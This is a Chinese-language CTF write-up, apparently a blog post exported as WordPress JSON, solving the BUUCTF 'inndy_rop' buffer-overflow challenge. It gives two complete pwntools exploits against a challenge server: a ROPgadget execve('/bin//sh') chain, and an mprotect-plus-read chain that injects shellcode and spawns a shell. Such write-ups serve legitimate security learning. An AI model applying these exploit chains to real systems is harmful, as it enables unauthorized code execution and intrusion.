{"id":51,"date":"2025-07-19T16:33:52","date_gmt":"2025-07-19T08:33:52","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=51"},"modified":"2025-07-19T17:01:50","modified_gmt":"2025-07-19T09:01:50","slug":"buuctfinndy_rop-1","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/19\/buuctfinndy_rop-1\/","title":{"rendered":"buuctf:inndy_rop 1"},"content":{"rendered":"\n
\"\"<\/div><\/figure>\n\n\n\n

1.\u5206\u6790<\/h2>\n\n\n\n

\u5148checksec:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5e94\u8be5\u6bd4\u8f83\u7b80\u5355\uff0c\u53bbida\u91cc\u770b\u770b\uff1a<\/p>\n\n\n\n

main\u51fd\u6570\u4e3b\u8981\u65f6\u8c03\u7528overflow<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
overflow\uff1a\nint overflow()\n{\n  char v1; \/\/ [sp+Ch] [bp-Ch]@1\n\n  return gets(&v1);\n}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u5176\u4ed6\u5565\u4e5f\u6ca1\u6709\uff0c\u51fd\u6570\u4e00\u5927\u5806\uff0c\u5e94\u8be5\u662f\u9759\u6001\u7f16\u8bd1\uff0cret2libc\u5c31\u4e0d\u7528\u8003\u8651\u4e86\uff0c\u4f20shellcode\u7684\u8bdd\u5f00\u4e86\u5806\u6808\u4e0d\u53ef\u6267\u884c\uff0c\u7528rop\u94fe\u8bd5\u8bd5\u3002<\/p>\n\n\n\n
2.\u5b9e\u64cd<\/h2>\n\n\n\n
\u4e0a\u9762\u786e\u5b9a\u4e86\u6ea2\u51fa\u7684\u91cf\uff0c\u73b0\u5728\u9700\u8981\u4e00\u6761rop\u94fe\uff1a<\/p>\n\n\n\n
\u4e4b\u524d\u4f7f\u7528\u8fc7\u7684\uff1aROPgadget –binary rop –ropchain<\/p>\n\n\n\n
p = b''\np += pack('<I', 0x0806ecda) # pop edx ; ret\np += pack('<I', 0x080ea060) # @ .data\np += pack('<I', 0x080b8016) # pop eax ; ret\np += b'\/bin'\np += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret\np += pack('<I', 0x0806ecda) # pop edx ; ret\np += pack('<I', 0x080ea064) # @ .data + 4\np += pack('<I', 0x080b8016) # pop eax ; ret\np += b'\/\/sh'\np += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret\np += pack('<I', 0x0806ecda) # pop edx ; ret\np += pack('<I', 0x080ea068) # @ .data + 8\np += pack('<I', 0x080492d3) # xor eax, eax ; ret\np += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret\np += pack('<I', 0x080481c9) # pop ebx ; ret\np += pack('<I', 0x080ea060) # @ .data\np += pack('<I', 0x080de769) # pop ecx ; ret\np += pack('<I', 0x080ea068) # @ .data + 8\np += pack('<I', 0x0806ecda) # pop edx ; ret\np += pack('<I', 0x080ea068) # @ .data + 8\np += pack('<I', 0x080492d3) # xor eax, eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0806c943) # int 0x80<\/code><\/pre>\n\n\n\n

\u7136\u540e\u52a0\u4e0a\u6ea2\u51fa\u76f4\u63a5\u4f7f\u7528\uff1a<\/p>\n\n\n\n
from pwn import *\nfrom struct import pack#\u7279\u522b\u4e3b\u610f\uff01\ncontext.log_level=\"debug\"\nio=remote(\"node5.buuoj.cn\",29923)\n\np = b'a'*(0xc+4)\n\np += pack('<I', 0x0806ecda) # pop edx ; ret\np += pack('<I', 0x080ea060) # @ .data\np += pack('<I', 0x080b8016) # pop eax ; ret\np += b'\/bin'\np += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret\np += pack('<I', 0x0806ecda) # pop edx ; ret\np += pack('<I', 0x080ea064) # @ .data + 4\np += pack('<I', 0x080b8016) # pop eax ; ret\np += b'\/\/sh'\np += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret\np += pack('<I', 0x0806ecda) # pop edx ; ret\np += pack('<I', 0x080ea068) # @ .data + 8\np += pack('<I', 0x080492d3) # xor eax, eax ; ret\np += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret\np += pack('<I', 0x080481c9) # pop ebx ; ret\np += pack('<I', 0x080ea060) # @ .data\np += pack('<I', 0x080de769) # pop ecx ; ret\np += pack('<I', 0x080ea068) # @ .data + 8\np += pack('<I', 0x0806ecda) # pop edx ; ret\np += pack('<I', 0x080ea068) # @ .data + 8\np += pack('<I', 0x080492d3) # xor eax, eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0807a66f) # inc eax ; ret\np += pack('<I', 0x0806c943) # int 0x80\n\nio.sendline(p)\nio.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
3.\u53e6\u4e00\u79cd\u505a\u6cd5<\/h2>\n\n\n\n
\u770b\u5230\u8fd9\u9053\u9898\u5176\u5b9e\u611f\u89c9\u53ef\u4ee5\u7528shellcode,\u4e4b\u524d\u9047\u5230\u8fc7mprotect\u51fd\u6570\u561b\uff0c\u6765\u8bd5\u8bd5\u3002<\/p>\n\n\n\n
\u7531\u4e8e\u8981\u8bbe\u7f6e\u53c2\u6570\uff0c\u5176\u5b9e\u5c31\u6839\u636e\u51fd\u6570\u539f\u578b\u6765\u586b\u53c2\u6570\uff1aint mprotect(const void *start, size_t len, int prot)<\/p>\n\n\n\n
\u9700\u8981\u8bbe\u7f6e\u4e09\u4e2a\u53c2\u6570\uff0c\u7b2c\u4e00\u4e2a\u662f\u5730\u5740\uff0c\u7b2c\u4e8c\u4e2a\u662f\u5927\u5c0f\uff0c\u7b2c\u4e09\u4e2a\u8bbe\u7f6e\u6743\u9650\u3002<\/p>\n\n\n\n
\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u4fee\u6539\u4fdd\u62a4\u533a\u57df\u7684\u8d77\u59cb\u5730\u5740\uff0c\u6709\u4e00\u4e2a\u8981\u6c42\uff0c\u662f\u5185\u5b58\u9875\u7684\u8d77\u59cb\u5730\u5740<\/p>\n\n\n\n
\u7528gdb\u770b\u770b\u5427\uff0cida\u91cc\u5b9e\u5728\u662f\u592a\u4e71\uff0c\u5728main\u51fd\u6570\u4e0b\u65ad\u70b9\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u521a\u597d\u5c31\u90090x80e9000\uff080x1000\u7684\u500d\u6570\uff09\uff0c\u90a3\u4e48\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5c31\u8bbe\u62100x200,\u7b2c\u4e09\u4e2a\u53c2\u6570\u53d67\u3002<\/p>\n\n\n\n
\u7528\u4ec0\u4e48\u628ashellcode\u5199\u8fdb\u53bb\u5462\uff0c\u53ef\u4ee5\u7528read\u51fd\u6570\uff0c\u4e00\u6837\u7684\u770b\u4e00\u4e0b\u539f\u578b\uff1a<\/p>\n\n\n\n
ssize_t read(int fd, void *buf, size_t count);<\/p>\n\n\n\n
fd\u6211\u4eec\u8bbe\u62100<\/p>\n\n\n\n
\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5c31\u662f\u6211\u4eec\u7684\u4fee\u6539\u6743\u9650\u7684\u8d77\u59cb\u4f4d\u7f6e\uff0c\u6211\u4eec\u5411\u91cc\u9762\u5199\u5165shellcode\u957f\u5ea6\u7684\u6570\u636e\u3002<\/p>\n\n\n\n

4.\u518d\u6765\u8bd5\u8bd5<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",28352)\n\n#elf=ELF(\".\/rop\")\n#main=elf.sym['main']\nmain=0x8048894#\u8fd9\u4e2a\u6253\u4e0d\u901a\u5c31\u7528\u4e0a\u9762\u7684\nmprotect=0x806DDA0\naddr=0x80e9000\nread=0x806D290\npayload=b'a'*(0xc+4)+p32(mprotect)+p32(main)+p32(addr)+p32(0x2000)+p32(0x7)\np.sendline(payload)\n\nshellcode=asm(shellcraft.sh())\npayload=b'a'*(0xc+4)+p32(read)+p32(addr+0x1000)+p32(0)+p32(addr+0x1000)+p32(len(shellcode))\np.sendline(payload)\np.sendline(shellcode)\np.interactive()<\/code><\/pre>\n\n\n\n

\u515c\u515c\u8f6c\u8f6c\u603b\u7b97\u51fa\u4e86\u54c8\u54c8<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

<\/p>\n","protected":false},"excerpt":{"rendered":"
1.\u5206\u6790 \u5148checksec: \u5e94\u8be5\u6bd4\u8f83\u7b80\u5355\uff0c\u53bbida\u91cc\u770b\u770b\uff1a main\u51fd\u6570\u4e3b\u8981\u65f6\u8c03\u7528overflow \u5176\u4ed6\u5565 […]<\/p>\n","protected":false},"author":1,"featured_media":45,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-51","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/51","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=51"}],"version-history":[{"count":4,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/51\/revisions"}],"predecessor-version":[{"id":62,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/51\/revisions\/62"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/45"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=51"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=51"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=51"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}